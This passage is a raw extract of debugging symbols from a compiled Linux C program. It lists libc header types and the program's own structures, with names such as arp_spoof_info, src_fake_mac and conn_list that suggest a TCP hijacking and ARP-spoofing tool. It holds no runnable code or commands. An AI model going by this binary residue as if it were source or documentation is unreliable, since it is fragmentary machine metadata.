,4;ipt_oflw:(0,4),28,4;\data:(28,2),32,288;;/usr/include/netinet/ip_icmp.hicmphdr:T(34,1)=s8type:(6,29),0,8;code:(6,29),8,8;\checksum:(6,30),16,16;un:(34,2)=u4echo:(34,3)=s4id:(6,30),0,16;\sequence:(6,30),16,16;;,0,32;gateway:(6,31),0,32;\frag:(34,4)=s4__unused:(6,30),0,16;mtu:(6,30),16,16;;,0,32;;,32,32;;icmp_ra_addr:T(34,5)=s8ira_addr:(6,31),0,32;ira_preference:(6,31),32,32;;ih_idseq:T(34,6)=s4icd_id:(6,30),0,16;icd_seq:(6,30),16,16;;ih_pmtu:T(34,7)=s4ipm_void:(6,30),0,16;ipm_nextmtu:(6,30),16,16;;ih_rtradv:T(34,8)=s4irt_num_addrs:(6,29),0,8;irt_wpa:(6,29),8,8;\irt_lifetime:(6,30),16,16;;icmp:T(34,9)=s28icmp_type:(6,29),0,8;icmp_code:(6,29),8,8;\icmp_cksum:(6,30),16,16;icmp_hun:(34,10)=u4ih_pptr:(6,1),0,8;\ih_gwaddr:(29,3),0,32;ih_idseq:(34,6),0,32;\ih_void:(6,31),0,32;ih_pmtu:(34,7),0,32;ih_rtradv:(34,8),0,32;;,32,32;\icmp_dun:(34,11)=u20id_ts:(34,12)=s12its_otime:(6,31),0,32;\its_rtime:(6,31),32,32;its_ttime:(6,31),64,32;;,0,96;\id_ip:(34,13)=s20idi_ip:(28,6),0,160;;,0,160;\id_radv:(34,5),0,64;id_mask:(6,31),0,32;id_data:(34,14)=ar(0,1);0;0;(6,29),0,8;;,64,160;;/usr/include/netinet/tcp.htcphdr:T(35,1)=s20source:(6,30),0,16;dest:(6,30),16,16;\seq:(6,31),32,32;ack_seq:(6,31),64,32;res1:(6,30),96,4;\doff:(6,30),100,4;fin:(6,30),104,1;syn:(6,30),105,1;\rst:(6,30),106,1;psh:(6,30),107,1;ack:(6,30),108,1;\urg:(6,30),109,1;res2:(6,30),110,2;window:(6,30),112,16;\check:(6,30),128,16;urg_ptr:(6,30),144,16;; :T(35,2)=eTCP_ESTABLISHED:1,TCP_SYN_SENT:2,TCP_SYN_RECV:3,\TCP_FIN_WAIT1:4,TCP_FIN_WAIT2:5,TCP_TIME_WAIT:6,\TCP_CLOSE:7,TCP_CLOSE_WAIT:8,TCP_LAST_ACK:9,\TCP_LISTEN:10,TCP_CLOSING:11,;/usr/include/netinet/udp.hudphdr:T(36,1)=s8source:(6,30),0,16;dest:(6,30),16,16;\len:(6,30),32,16;check:(6,30),48,16;;/usr/include/sys/time.h/usr/include/bits/time.hclock_t:t(38,1)=(7,38)tm:T(38,2)=s44tm_sec:(0,1),0,32;tm_min:(0,1),32,32;\tm_hour:(0,1),64,32;tm_mday:(0,1),96,32;tm_mon:(0,1),128,32;\tm_year:(0,1),160,32;tm_wday:(0,1),192,32;tm_yday:(0,1),224,32;\tm_isdst:(0,1),256,32;tm_gmtoff:(0,3),288,32;\tm_zone:(38,3)=*(0,2),320,32;;timeval:T(41,1)=s8tv_sec:(7,36),0,32;tv_usec:(7,36),32,32;;timezone:T(37,1)=s8tz_minuteswest:(0,1),0,32;tz_dsttime:(0,1),32,32;;__itimer_which:T(37,2)=eITIMER_REAL:0,ITIMER_VIRTUAL:1,\ITIMER_PROF:2,;itimerval:T(37,3)=s16it_interval:(41,1),0,64;it_value:(41,1),64,64;;/usr/include/sys/resource.h/usr/include/bits/resource.h/usr/include/asm/resource.h__rlimit_resource:T(43,1)=e_RLIMIT_CPU:0,RLIMIT_CPU:0,\_RLIMIT_FSIZE:1,RLIMIT_FSIZE:1,_RLIMIT_DATA:2,\RLIMIT_DATA:2,_RLIMIT_STACK:3,RLIMIT_STACK:3,\_RLIMIT_CORE:4,RLIMIT_CORE:4,_RLIMIT_RSS:5,\RLIMIT_RSS:5,_RLIMIT_NOFILE:7,RLIMIT_NOFILE:7,\RLIMIT_OFILE:7,_RLIMIT_AS:9,RLIMIT_AS:9,\_RLIMIT_NPROC:6,RLIMIT_NPROC:6,_RLIMIT_MEMLOCK:8,\RLIMIT_MEMLOCK:8,RLIMIT_NLIMITS:10,RLIM_NLIMITS:10,;rlim_t:t(43,2)=(7,27)rlimit:T(43,3)=s8rlim_cur:(43,2),0,32;rlim_max:(43,2),32,32;;__rusage_who:T(43,4)=eRUSAGE_SELF:0,RUSAGE_CHILDREN:-1,\RUSAGE_BOTH:-2,;rusage:T(43,5)=s72ru_utime:(41,1),0,64;ru_stime:(41,1),64,64;\ru_maxrss:(0,3),128,32;ru_ixrss:(0,3),160,32;\ru_idrss:(0,3),192,32;ru_isrss:(0,3),224,32;ru_minflt:(0,3),256,32;\ru_majflt:(0,3),288,32;ru_nswap:(0,3),320,32;\ru_inblock:(0,3),352,32;ru_oublock:(0,3),384,32;\ru_msgsnd:(0,3),416,32;ru_msgrcv:(0,3),448,32;\ru_nsignals:(0,3),480,32;ru_nvcsw:(0,3),512,32;\ru_nivcsw:(0,3),544,32;;__priority_which:T(43,6)=ePRIO_PROCESS:0,PRIO_PGRP:1,\PRIO_USER:2,;/usr/include/signal.hsig_atomic_t:t(46,1)=(15,1)sigset_t:t(46,2)=(15,2)/usr/include/bits/signum.h__sighandler_t:t(46,3)=(46,4)=*(46,5)=f(0,19)sig_t:t(46,6)=(46,3)/usr/include/bits/siginfo.hsigval:T(49,1)=u4sival_int:(0,1),0,32;sival_ptr:(23,7),0,32;;sigval_t:t(49,2)=(49,1)siginfo:T(49,3)=s128si_signo:(0,1),0,32;si_errno:(0,1),32,32;\si_code:(0,1),64,32;_sifields:(49,4)=u116_pad:(49,5)=ar(0,1);0;28;(0,1),0,928;\_kill:(49,6)=s8si_pid:(7,25),0,32;si_uid:(7,18),32,32;;,0,64;\_timer:(49,7)=s8_timer1:(0,4),0,32;_timer2:(0,4),32,32;;,0,64;\_rt:(49,8)=s12si_pid:(7,25),0,32;si_uid:(7,18),32,32;\si_sigval:(49,2),64,32;;,0,96;_sigchld:(49,9)=s20si_pid:(7,25),0,32;\si_uid:(7,18),32,32;si_status:(0,1),64,32;si_utime:(7,38),96,32;\si_stime:(7,38),128,32;;,0,160;_sigfault:(49,10)=s4si_addr:(23,7),0,32;;,0,32;\_sigpoll:(49,11)=s8si_band:(0,1),0,32;si_fd:(0,1),32,32;;,0,64;;,96,928;;siginfo_t:t(49,12)=(49,3) :T(49,13)=eSI_SIGIO:-5,SI_ASYNCIO:-4,SI_MESGQ:-3,\SI_TIMER:-2,SI_QUEUE:-1,SI_USER:0,; :T(49,14)=eILL_ILLOPC:1,ILL_ILLOPN:2,ILL_ILLADR:3,\ILL_ILLTRP:4,ILL_PRVOPC:5,ILL_PRVREG:6,\ILL_COPROC:7,ILL_BADSTK:8,; :T(49,15)=eFPE_INTDIV:1,FPE_INTOVF:2,FPE_FLTDIV:3,\FPE_FLTOVF:4,FPE_FLTUND:5,FPE_FLTRES:6,\FPE_FLTINV:7,FPE_FLTSUB:8,; :T(49,16)=eSEGV_MAPERR:1,SEGV_ACCERR:2,; :T(49,17)=eBUS_ADRALN:1,BUS_ADRERR:2,BUS_OBJERR:3,; :T(49,18)=eTRAP_BRKPT:1,TRAP_TRACE:2,; :T(49,19)=eCLD_EXITED:1,CLD_KILLED:2,CLD_DUMPED:3,\CLD_TRAPPED:4,CLD_STOPPED:5,CLD_CONTINUED:6,; :T(49,20)=ePOLL_IN:1,POLL_OUT:2,POLL_MSG:3,\POLL_ERR:4,POLL_PRI:5,POLL_HUP:6,;sigevent:T(49,21)=s64sigev_value:(49,2),0,32;sigev_signo:(0,1),32,32;\sigev_notify:(0,1),64,32;_sigev_un:(49,22)=u52_pad:(49,23)=ar(0,1);0;12;(0,1),0,416;\_sigev_thread:(49,24)=s8_function:(49,25)=*(49,26)=f(0,19),0,32;\_attribute:(23,7),32,32;;,0,64;;,96,416;;sigevent_t:t(49,27)=(49,21) :T(49,28)=eSIGEV_SIGNAL:0,SIGEV_NONE:1,SIGEV_THREAD:2,;/usr/include/bits/sigaction.hsigaction:T(50,1)=s140__sigaction_handler:(50,2)=u4sa_handler:(46,3),0,32;\sa_sigaction:(50,3)=*(50,4)=f(0,19),0,32;;,0,32;\sa_mask:(15,2),32,1024;sa_flags:(0,1),1056,32;sa_restorer:(50,5)=*(50,6)=f(0,19),1088,32;;sigvec:T(46,7)=s12sv_handler:(46,3),0,32;sv_mask:(0,1),32,32;\sv_flags:(0,1),64,32;;/usr/include/bits/sigcontext.h/usr/include/asm/sigcontext.h_fpreg:T(52,1)=s10significand:(52,2)=ar(0,1);0;3;(0,9),0,64;\exponent:(0,9),64,16;;_fpstate:T(52,3)=s112cw:(0,5),0,32;sw:(0,5),32,32;\tag:(0,5),64,32;ipoff:(0,5),96,32;cssel:(0,5),128,32;\dataoff:(0,5),160,32;datasel:(0,5),192,32;_st:(52,4)=ar(0,1);0;7;(52,1),224,640;\status:(0,5),864,32;;sigcontext:T(52,5)=s88gs:(0,9),0,16;__gsh:(0,9),16,16;\fs:(0,9),32,16;__fsh:(0,9),48,16;es:(0,9),64,16;\__esh:(0,9),80,16;ds:(0,9),96,16;__dsh:(0,9),112,16;\edi:(0,5),128,32;esi:(0,5),160,32;ebp:(0,5),192,32;\esp:(0,5),224,32;ebx:(0,5),256,32;edx:(0,5),288,32;\ecx:(0,5),320,32;eax:(0,5),352,32;trapno:(0,5),384,32;\err:(0,5),416,32;eip:(0,5),448,32;cs:(0,9),480,16;\__csh:(0,9),496,16;eflags:(0,5),512,32;esp_at_signal:(0,5),544,32;\ss:(0,9),576,16;__ssh:(0,9),592,16;fpstate:(52,6)=*(52,3),608,32;\oldmask:(0,5),640,32;cr2:(0,5),672,32;;/usr/include/bits/sigstack.hsigstack:T(53,1)=s8ss_sp:(23,7),0,32;ss_onstack:(0,1),32,32;; :T(53,2)=eSS_ONSTACK:1,SS_DISABLE:2,;sigaltstack:T(53,3)=s12ss_sp:(23,7),0,32;ss_flags:(0,1),32,32;\ss_size:(8,1),64,32;;stack_t:t(53,4)=(53,3)/usr/include/pthread.h/usr/include/sched.h/usr/include/bits/sched.hsched_param:T(56,1)=s4sched_priority:(0,1),0,32;;__sched_param:T(56,2)=s4sched_priority:(0,1),0,32;;/usr/include/bits/pthreadtypes.h_pthread_fastlock:T(57,1)=s8__status:(0,3),0,32;__spinlock:(0,1),32,32;;_pthread_descr:t(57,2)=(57,3)=*(57,4)=xs_pthread_descr_struct:pthread_attr_t:t(57,5)=(57,6)=s36__detachstate:(0,1),0,32;\__schedpolicy:(0,1),32,32;__schedparam:(56,2),64,32;\__guardsize:(8,1),160,32;__stackaddr_set:(0,1),192,32;\__stackaddr:(23,7),224,32;__stacksize:(8,1),256,32;;pthread_cond_t:t(57,7)=(57,8)=s12__c_lock:(57,1),0,64;\__c_waiting:(57,2),64,32;;pthread_condattr_t:t(57,9)=(57,10)=s4__dummy:(0,1),0,32;;pthread_key_t:t(57,11)=(0,4)pthread_mutex_t:t(57,12)=(57,13)=s24__m_reserved:(0,1),0,32;\__m_count:(0,1),32,32;__m_owner:(57,2),64,32;\__m_kind:(0,1),96,32;__m_lock:(57,1),128,64;;pthread_mutexattr_t:t(57,14)=(57,15)=s4__mutexkind:(0,1),0,32;;pthread_once_t:t(57,16)=(0,1)pthread_t:t(57,17)=(0,5) :T(54,1)=ePTHREAD_CREATE_JOINABLE:0,PTHREAD_CREATE_DETACHED:1,; :T(54,2)=ePTHREAD_INHERIT_SCHED:0,PTHREAD_EXPLICIT_SCHED:1,; :T(54,3)=ePTHREAD_SCOPE_SYSTEM:0,PTHREAD_SCOPE_PROCESS:1,; :T(54,4)=ePTHREAD_MUTEX_FAST_NP:0,PTHREAD_MUTEX_RECURSIVE_NP:1,\PTHREAD_MUTEX_ERRORCHECK_NP:2,; :T(54,5)=ePTHREAD_PROCESS_PRIVATE:0,PTHREAD_PROCESS_SHARED:1,;_pthread_cleanup_buffer:T(54,6)=s16__routine:(54,7)=*(54,8)=f(0,19),0,32;\__arg:(23,7),32,32;__canceltype:(0,1),64,32;\__prev:(54,9)=*(54,6),96,32;; :T(54,10)=ePTHREAD_CANCEL_ENABLE:0,PTHREAD_CANCEL_DISABLE:1,; :T(54,11)=ePTHREAD_CANCEL_DEFERRED:0,PTHREAD_CANCEL_ASYNCHRONOUS:1,;/usr/include/bits/sigthread.hc/list.hlist:T(60,1)=s64l_first:(23,7),0,32;l_last:(23,7),32,32;\l_off:(0,1),64,32;l_produce_done:(0,1),96,32;\l_iter:(60,2)=*(60,3)=xslist_iterator:,128,32;l_locked:(0,1),160,32;\l_mutex:(57,12),192,192;l_notempty:(57,7),384,96;\l_locked_thr:(57,17),480,32;;list_iterator:T(60,3)=s12i_list:(60,4)=*(60,1),0,32;\i_cur:(23,7),32,32;i_next:(60,2),64,32;;c/hash.hhash_equal_func:t(61,1)=(61,2)=*(61,3)=f(0,1)hash_table_item:T(61,4)=s8ht_key:(0,4),0,32;ht_data:(23,7),32,32;;hash:T(61,5)=s52h_items:(0,1),0,32;h_max_items:(0,1),32,32;\h_space_after:(0,1),64,32;h_table:(61,6)=*(61,4),96,32;\h_eqfunc:(61,1),128,32;h_locked:(0,1),160,32;h_locked_thr:(57,17),192,32;\h_mutex:(57,12),224,192;;hash_iterator:T(61,7)=s8i_hash:(61,8)=*(61,5),0,32;\i_pos:(0,1),32,32;;PACKET_TYPE:T(1,1)=ePACKET_NONE:0,PACKET_TCP:1,\PACKET_UDP:2,PACKET_ICMP:3,PACKET_ARP:4,;packet:T(1,2)=s1656p_raw:(1,3)=ar(0,1);0;1513;(0,2),0,12112;\p_raw_len:(0,1),12128,32;p_use_count:(0,1),12160,32;\p_type:(1,1),12192,32;p_mutex:(57,12),12224,192;p_ethh:(1,4)=*(18,1),12416,32;\p_iph:(1,5)=*(28,5),12448,32;p_arph:(1,6)=*(20,1),12480,32;\p_hdr:(1,7)=u4p_tcph:(1,8)=*(35,1),0,32;p_udph:(1,9)=*(36,1),0,32;\p_icmph:(1,10)=*(34,1),0,32;;,12512,32;p_data_len:(0,1),12544,32;\p_data:(7,35),12576,32;p_timestamp:(9,1),12608,32;\p_next_free:(1,11)=*(1,2),12640,32;p_next:(1,12)=ar(0,1);0;7;(1,11),12672,256;\p_arg:(1,13)=ar(0,1);0;7;(23,7),12928,256;p_ipc:(0,1),13184,32;\p_ipc_arg:(23,7),13216,32;;ifunc:t(1,14)=(1,15)=*(1,16)=f(0,19)ifunc_item:T(1,17)=s28func:(1,14),0,32;arg:(23,7),32,32;\next_tcp:(1,18)=*(1,19)=xsifunc_list:,64,32;next_udp:(1,18),96,32;\next_icmp:(1,18),128,32;next_arp:(1,18),160,32;\next_ip:(1,18),192,32;;host_info:T(1,20)=s28next_seq:(0,5),0,32;next_d_seq:(0,5),32,32;\src_mac:(18,2),64,48;dst_mac:(18,2),112,48;window:(0,9),160,16;\id:(0,9),176,16;delta_d_seq:(0,4),192,32;;conn_info:T(1,21)=s104src_addr:(0,5),0,32;dst_addr:(0,5),32,32;\src_port:(0,9),64,16;dst_port:(0,9),80,16;src:(1,20),96,224;\dst:(1,20),320,224;use_count:(0,1),544,32;update_count:(0,4),576,32;\ack_storm_notify_sec:(0,4),608,32;mutex:(57,12),640,192;;user_conn_info:T(1,22)=s12src_addr:(0,5),0,32;dst_addr:(0,5),32,32;\src_port:(0,9),64,16;dst_port:(0,9),80,16;;packet_info:T(1,23)=s44src_addr:(0,5),0,32;dst_addr:(0,5),32,32;\next:(1,24)=*(1,23),320,32;;arp_spoof_info:T(1,25)=s104src_fake_mac:(18,2),0,48;src_mac:(18,2),48,48;\dst_mac:(18,2),96,48;src_mac_valid:(0,1),160,32;\dst_mac_valid:(0,1),192,32;src_addr:(0,4),224,32;\dst_addr:(0,4),256,32;can_forward:(0,1),288,32;\in_range:(0,1),320,32;use_count:(0,1),352,32;\lock_count:(0,1),384,32;refresh:(0,1),416,32;\tj_refresh:(1,26)=*(1,27)=xstimejob:,448,32;tj_reply:(1,26),480,32;\next:(1,28)=*(1,25),512,32;lock_cond:(57,7),544,96;\mutex:(57,12),640,192;;arpeth_hdr:T(1,29)=s20ar_sha:(18,2),0,48;ar_sip:(1,30)=ar(0,1);0;3;(0,11),48,32;\ar_tha:(18,2),80,48;ar_tip:(1,30),128,32;;mac_info:T(1,31)=s32mac:(1,32)=ar(0,1);0;5;(0,2),0,48;\mutex:(57,12),64,192;;add_policy_info:T(1,33)=s156src_addr:(0,4),0,32;src_mask:(0,4),32,32;\dst_addr:(0,4),64,32;dst_mask:(0,4),96,32;src_ports:(1,34)=ar(0,1);0;16;(0,4),128,544;\dst_ports:(1,34),672,544;next:(1,35)=*(1,33),1216,32;;TTY_COLOR:T(1,36)=eCOLOR_BLACK:0,COLOR_RED:1,COLOR_GREEN:2,\COLOR_BROWN:3,COLOR_BLUE:4,COLOR_MAGENTA:5,\COLOR_CYAN:6,COLOR_LIGHTGRAY:7,COLOR_GRAY:8,\COLOR_BRIGHTRED:9,COLOR_BRIGHTGREEN:10,COLOR_YELLOW:11,\COLOR_BRIGHTBLUE:12,COLOR_BRIGHTMAGENTA:13,COLOR_BRIGHTCYAN:14,\COLOR_WHITE:15,;resolv_item:T(1,37)=s36name:(7,35),0,32;put_timestamp:(9,1),32,32;\get_timestamp:(9,1),64,32;mutex:(57,12),96,192;;arp_dont_relay:T(1,38)=s16src_addr:(0,4),0,32;dst_addr:(0,4),32,32;\src_port:(0,9),64,16;dst_port:(0,9),80,16;next:(1,39)=*(1,38),96,32;;time_func:t(1,40)=(1,41)=*(1,42)=f(0,1)timejob:T(1,27)=s24j_func:(1,40),0,32;j_arg:(23,7),32,32;\j_arg_sec:(0,1),64,32;j_ts:(16,1),96,64;j_next:(1,43)=*(1,44)=xstime_job:,160,32;;tcp_spec:T(1,45)=s52saddr:(0,5),0,32;daddr:(0,5),32,32;\sport:(0,9),64,16;dport:(0,9),80,16;src_mac:(7,35),96,32;\dst_mac:(7,35),128,32;seq:(0,5),160,32;ack_seq:(0,5),192,32;\window:(0,9),224,16;id:(0,9),240,16;ack:(0,1),256,32;\rst:(0,1),288,32;psh:(0,1),320,32;data:(7,35),352,32;\data_len:(0,1),384,32;;icmp_spec:T(1,46)=s32src_addr:(0,4),0,32;dst_addr:(0,4),32,32;\src_mac:(7,35),64,32;dst_mac:(7,35),96,32;type:(0,8),128,16;\code:(0,8),144,16;un:(1,47)=u4idseq:(1,48)=s4id:(0,9),0,16;\seq:(0,9),16,16;;,0,32;res:(0,4),0,32;;,160,32;\data:(23,7),192,32;data_len:(0,1),224,32;;arp_spec:T(1,49)=s28src_mac:(7,35),0,32;dst_mac:(7,35),32,32;\oper:(0,1),64,32;sender_mac:(7,35),96,32;sender_addr:(0,5),128,32;\target_mac:(7,35),160,32;target_addr:(0,5),192,32;;/usr/include/stdio.h/usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/include/stdarg.h__gnuc_va_list:t(64,1)=(23,7)FILE:t(62,1)=(62,2)=xs_IO_FILE:/usr/include/libio.h/usr/include/_G_config.hwint_t:t(67,1)=(0,4)_G_int16_t:t(66,1)=(0,8)_G_int32_t:t(66,2)=(0,1)_G_uint16_t:t(66,3)=(0,9)_G_uint32_t:t(66,4)=(0,4)_IO_lock_t:t(65,1)=(0,19)_IO_marker:T(65,2)=s12_next:(65,3)=*(65,2),0,32;_sbuf:(65,4)=*(62,2),32,32;\_pos:(0,1),64,32;;_IO_FILE:T(62,2)=s148_flags:(0,1),0,32;_IO_read_ptr:(7,35),32,32;\_IO_read_end:(7,35),64,32;_IO_read_base:(7,35),96,32;\_IO_write_base:(7,35),128,32;_IO_write_ptr:(7,35),160,32;\_IO_write_end:(7,35),192,32;_IO_buf_base:(7,35),224,32;\_IO_buf_end:(7,35),256,32;_IO_save_base:(7,35),288,32;\_IO_backup_base:(7,35),320,32;_IO_save_end:(7,35),352,32;\_markers:(65,3),384,32;_chain:(65,4),416,32;_fileno:(0,1),448,32;\_blksize:(0,1),480,32;_old_offset:(7,23),512,32;\_cur_column:(0,9),544,16;_vtable_offset:(0,10),560,8;\_shortbuf:(65,5)=ar(0,1);0;0;(0,2),568,8;_lock:(65,6)=*(65,1),576,32;\_offset:(7,52),608,64;_unused2:(65,7)=ar(0,1);0;15;(0,1),672,512;;_IO_FILE:t(65,8)=(62,2)fpos_t:t(62,3)=(7,23)/usr/include/bits/stdio_lim.h/usr/include/bits/stdio.h/usr/include/stdlib.hdiv_t:t(71,1)=(71,2)=s8quot:(0,1),0,32;rem:(0,1),32,32;;ldiv_t:t(71,3)=(71,4)=s8quot:(0,3),0,32;rem:(0,3),32,32;;random_data:T(71,5)=s28fptr:(71,6)=*(6,27),0,32;rptr:(71,6),32,32;\state:(71,6),64,32;rand_type:(0,1),96,32;rand_deg:(0,1),128,32;\rand_sep:(0,1),160,32;end_ptr:(71,6),192,32;;drand48_data:T(71,7)=s24x:(71,8)=ar(0,1);0;2;(0,9),0,48;\a:(71,8),48,48;c:(0,9),96,16;old_x:(71,8),112,48;\init:(0,1),160,32;;/usr/include/alloca.h__compar_fn_t:t(71,9)=(71,10)=*(71,11)=f(0,1)/usr/include/string.h/usr/include/bits/string.h/usr/include/bits/string2.h/usr/include/unistd.h/usr/include/bits/posix_opt.h/usr/include/bits/confname.h :T(82,1)=e_PC_LINK_MAX:0,_PC_MAX_CANON:1,_PC_MAX_INPUT:2,\_PC_NAME_MAX:3,_PC_PATH_MAX:4,_PC_PIPE_BUF:5,\_PC_CHOWN_RESTRICTED:6,_PC_NO_TRUNC:7,_PC_VDISABLE:8,\_PC_SYNC_IO:9,_PC_ASYNC_IO:10,_PC_PRIO_IO:11,\_PC_SOCK_MAXBUF:12,_PC_FILESIZEBITS:13,; :T(82,2)=e_SC_ARG_MAX:0,_SC_CHILD_MAX:1,_SC_CLK_TCK:2,\_SC_NGROUPS_MAX:3,_SC_OPEN_MAX:4,_SC_STREAM_MAX:5,\_SC_TZNAME_MAX:6,_SC_JOB_CONTROL:7,_SC_SAVED_IDS:8,\_SC_REALTIME_SIGNALS:9,_SC_PRIORITY_SCHEDULING:10,\_SC_TIMERS:11,_SC_ASYNCHRONOUS_IO:12,_SC_PRIORITIZED_IO:13,\_SC_SYNCHRONIZED_IO:14,_SC_FSYNC:15,_SC_MAPPED_FILES:16,\_SC_MEMLOCK:17,_SC_MEMLOCK_RANGE:18,_SC_MEMORY_PROTECTION:19,\_SC_MESSAGE_PASSING:20,_SC_SEMAPHORES:21,_SC_SHARED_MEMORY_OBJECTS:22,\_SC_AIO_LISTIO_MAX:23,_SC_AIO_MAX:24,_SC_AIO_PRIO_DELTA_MAX:25,\_SC_DELAYTIMER_MAX:26,_SC_MQ_OPEN_MAX:27,_SC_MQ_PRIO_MAX:28,\_SC_VERSION:29,_SC_PAGESIZE:30,_SC_RTSIG_MAX:31,\_SC_SEM_NSEMS_MAX:32,_SC_SEM_VALUE_MAX:33,_SC_SIGQUEUE_MAX:34,\_SC_TIMER_MAX:35,_SC_BC_BASE_MAX:36,_SC_BC_DIM_MAX:37,\_SC_BC_SCALE_MAX:38,_SC_BC_STRING_MAX:39,_SC_COLL_WEIGHTS_MAX:40,\_SC_EQUIV_CLASS_MAX:41,_SC_EXPR_NEST_MAX:42,_SC_LINE_MAX:43,\_SC_RE_DUP_MAX:44,_SC_CHARCLASS_NAME_MAX:45,_SC_2_VERSION:46,\_SC_2_C_BIND:47,_SC_2_C_DEV:48,_SC_2_FORT_DEV:49,\_SC_2_FORT_RUN:50,_SC_2_SW_DEV:51,_SC_2_LOCALEDEF:52,\_SC_PII:53,_SC_PII_XTI:54,_SC_PII_SOCKET:55,\_SC_PII_INTERNET:56,_SC_PII_OSI:57,_SC_POLL:58,\_SC_SELECT:59,_SC_UIO_MAXIOV:60,_SC_PII_INTERNET_STREAM:61,\_SC_PII_INTERNET_DGRAM:62,_SC_PII_OSI_COTS:63,_SC_PII_OSI_CLTS:64,\_SC_PII_OSI_M:65,_SC_T_IOV_MAX:66,_SC_THREADS:67,\_SC_THREAD_SAFE_FUNCTIONS:68,_SC_GETGR_R_SIZE_MAX:69,\_SC_GETPW_R_SIZE_MAX:70,_SC_LOGIN_NAME_MAX:71,_SC_TTY_NAME_MAX:72,\_SC_THREAD_DESTRUCTOR_ITERATIONS:73,_SC_THREAD_KEYS_MAX:74,\_SC_THREAD_STACK_MIN:75,_SC_THREAD_THREADS_MAX:76,\_SC_THREAD_ATTR_STACKADDR:77,_SC_THREAD_ATTR_STACKSIZE:78,\_SC_THREAD_PRIORITY_SCHEDULING:79,_SC_THREAD_PRIO_INHERIT:80,\_SC_THREAD_PRIO_PROTECT:81,_SC_THREAD_PROCESS_SHARED:82,\_SC_NPROCESSORS_CONF:83,_SC_NPROCESSORS_ONLN:84,_SC_PHYS_PAGES:85,\_SC_AVPHYS_PAGES:86,_SC_ATEXIT_MAX:87,_SC_PASS_MAX:88,\_SC_XOPEN_VERSION:89,_SC_XOPEN_XCU_VERSION:90,_SC_XOPEN_UNIX:91,\_SC_XOPEN_CRYPT:92,_SC_XOPEN_ENH_I18N:93,_SC_XOPEN_SHM:94,\_SC_2_CHAR_TERM:95,_SC_2_C_VERSION:96,_SC_2_UPE:97,\_SC_XOPEN_XPG2:98,_SC_XOPEN_XPG3:99,_SC_XOPEN_XPG4:100,\_SC_CHAR_BIT:101,_SC_CHAR_MAX:102,_SC_CHAR_MIN:103,\_SC_INT_MAX:104,_SC_INT_MIN:105,_SC_LONG_BIT:106,\_SC_WORD_BIT:107,_SC_MB_LEN_MAX:108,_SC_NZERO:109,\_SC_SSIZE_MAX:110,_SC_SCHAR_MAX:111,_SC_SCHAR_MIN:112,\_SC_SHRT_MAX:113,_SC_SHRT_MIN:114,_SC_UCHAR_MAX:115,\_SC_UINT_MAX:116,_SC_ULONG_MAX:117,_SC_USHRT_MAX:118,\_SC_NL_ARGMAX:119,_SC_NL_LANGMAX:120,_SC_NL_MSGMAX:121,\_SC_NL_NMAX:122,_SC_NL_SETMAX:123,_SC_NL_TEXTMAX:124,\_SC_XBS5_ILP32_OFF32:125,_SC_XBS5_ILP32_OFFBIG:126,\_SC_XBS5_LP64_OFF64:127,_SC_XBS5_LPBIG_OFFBIG:128,_SC_XOPEN_LEGACY:129,\_SC_XOPEN_REALTIME:130,_SC_XOPEN_REALTIME_THREADS:131,; :T(82,3)=e_CS_PATH:0,;/usr/include/getopt.hptrdiff_t:t(84,1)=(0,1)/usr/include/assert.hlinksock:G(0,1)mac_learn_from_ip:G(0,1)conn_list_mac:G(0,1)conn_list_seq:G(0,1)hunt_ready:G(0,1)mutex_hunt_ready:G(57,12)cond_hunt_ready:G(57,7)l_skip_update:G(60,1)l_ifunc_ip:G(60,1)l_ifunc_tcp:G(60,1)l_ifunc_udp:G(60,1)l_ifunc_icmp:G(60,1)l_ifunc_arp:G(60,1)l_ifunc_fast_tcp:G(60,1)l_packets:S(60,1)packets_allocated:G(0,1)packet_new:F(1,11)p:r(1,11)packet_copy_data:F(0,19)dst:p(1,11)src:p(1,11)src:r(1,11)packet_free:F(0,19)p:p(1,11)is_free:r(0,1)packet_want:F(0,19)packet_flush:F(0,19)l:p(60,4)l:r(60,4)packet_preallocate:F(0,19)count:p(0,1)count:r(0,1)p:(0,20)=*(1,11)i:r(0,1)packet_count:F(0,1)ht_eq:f(0,1)key:p(0,4)c:p(0,21)=*(1,21)uci:p(0,22)=*(1,22)c:r(0,21)uci:r(0,22)remove_conn_if_dont_match:F(0,19)hi:(61,7)ci:r(0,21)key:(0,4)count_to_remove:r(0,1)key_to_remove:(0,23)=*(0,4)ci_to_remove:(0,24)=*(0,21)conn_free:F(0,19)ci:p(0,21)free_it:r(0,1)conn_get:F(0,21)uci:p(0,22)__v:r(0,4)__v:r(0,9)dest:r(0,9)source:r(0,9)daddr:r(0,5)saddr:r(0,5)conn_exist:F(0,1)packet_match:f(0,1)pi:p(1,24)pi:r(1,24)iph:r(1,5)tcph:r(1,8)conn_skip_update:f(0,1)iter:(60,3)__conn_add:f(0,19)iph:(1,5)h_src:r(0,25)=*(1,20)h_dst:(0,25)ack_storm_notify:f(0,19)tv:(41,1)print_it:r(0,1)conn_add_update:f(0,19)last_toadd:V(1,22)last_count:V(0,1)uci:(1,22)old_next_d_seq:(0,4)__v:(0,9)dest:(0,9)source:(0,9)h_src:r(0,25)__v:(0,4)conn_del:f(0,19)remove_it:(0,1)conn_add:f(0,19)conn_update_table:f(0,19)ethh:p(1,4)iph:p(1,5)process_tcp:f(0,19)li:r(0,26)=*(1,17)process_udp:f(0,19)li:r(0,26)process_icmp:f(0,19)process_arp:f(0,19)process_ip:f(0,19)mac_table_update:f(0,19)ip:p(0,4)mac:p(7,35)ip:r(0,4)mi:(0,27)=*(1,31)mac_info_get:F(0,27)mi:r(0,27)mac_info_release:F(0,19)mi:p(0,27)mac_arp_learn:f(0,19)arpethh:r(0,28)=*(1,29)mac_ip_learn:f(0,19)mac:r(7,35)pkts_received:G(0,4)pkts_dropped:G(0,4)pkts_unhandled:G(0,4)bytes_received:G(0,4)hunt:F(23,7)arg:p(23,7)print_tcp:F(0,19)ip:p(1,5)tcp:p(1,8)ip:r(1,5)tcp:r(1,8)fill_space_to:f(0,1)b:p(7,35)pos:p(0,1)where:p(0,1)pos:r(0,1)where:r(0,1)conn_list:F(0,1)ruci:p(0,29)=*(0,22)rbuf:p(0,30)=*(7,35)with_mac:p(0,1)with_seq:p(0,1)iter:(61,7)uci:(0,22)i:(0,1)count:(0,1)b:r(7,35)b_old:r(7,35)buf:(7,35)print_mac_table:F(0,19)buf:(0,31)=ar(0,1);0;511;(0,2)print_user_conn_info:F(0,19)ret:r(0,1)conn_table:G(61,5)mac_table:G(61,5)main.clogo:F(0,19)list_